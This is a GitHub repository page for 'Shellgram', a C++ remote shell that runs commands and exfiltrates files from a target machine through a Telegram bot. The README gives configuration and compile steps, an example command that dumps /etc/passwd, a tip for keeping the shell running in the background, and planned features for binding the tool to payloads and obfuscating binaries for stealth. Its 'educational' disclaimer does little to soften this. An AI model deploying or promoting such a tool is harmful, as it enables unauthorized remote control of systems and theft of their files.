Skip to content

Anon-404/Shellgram

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“‚ Shellgram

Remote Telegram Shell & File Uploader Bot (C++)

Shellgram is a lightweight C++ tool that allows remote shell command execution and file uploading through a Telegram bot. This tool is designed for ethical hackers and red-teamers who want to interact with target systems remotely using Telegram.


πŸš€ Features

  • πŸ“‘ Execute remote shell commands via Telegram
  • πŸ“ Upload any file using dump <filename> command
  • πŸ“© Get command output instantly in Telegram
  • πŸ” Works through Telegram Bot API (no port forwarding needed)
  • 🧱 Lightweight and fast (C++ with libcurl)

πŸ› οΈ Requirements

  • C++ compiler (e.g. g++)
  • libcurl
  • Telegram Bot Token & Chat ID

βš™οΈ Manual Setup & Compilation

  1. πŸ”§ Edit Configuration: Replace the placeholders in the source code:

    const string BOT_TOKEN = "YOUR BOT TOKEN";
    const string CHAT_ID = "YOUR CHAT ID";
  2. πŸ› οΈ Compile the Tool:

    g++ -o shellgram shellgram.cpp -lcurl
  3. πŸš€ Run the Tool:

    ./shellgram

πŸ’£ Usage (via Telegram)

Command Action
ls, whoami, etc. Executes shell command remotely
dump filename Uploads specified file to Telegram

βœ… Example:

dump /etc/passwd

πŸ” Disclaimer

⚠️ This tool is for educational and authorized penetration testing purposes only. Do not use it on any system without proper permission.


πŸ“¦ Automation (Coming Soon...)

Currently, Shellgram needs to be compiled and configured manually. In future updates, a setup script will be added that can:

  • πŸ”§ Automatically set bot token & chat ID
  • βš™οΈ Auto compile and bind Shellgram with a payload
  • πŸ›† Generate attack-ready executables
  • πŸ”’ Obfuscate the final binary for stealth
  • πŸ–₯️ Compile based on target system architecture (x86_64, arm, etc.)

Stay tuned!


πŸ‘¨β€πŸ’» Author

Anon-404 GitHub: @Anon-404


🧠 Pro Tip:

Run the tool in background using:

nohup ./shellgram &

This keeps the Telegram shell alive even after closing the terminal.

About

Telegram controlled bind shell in C++ coming soon

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages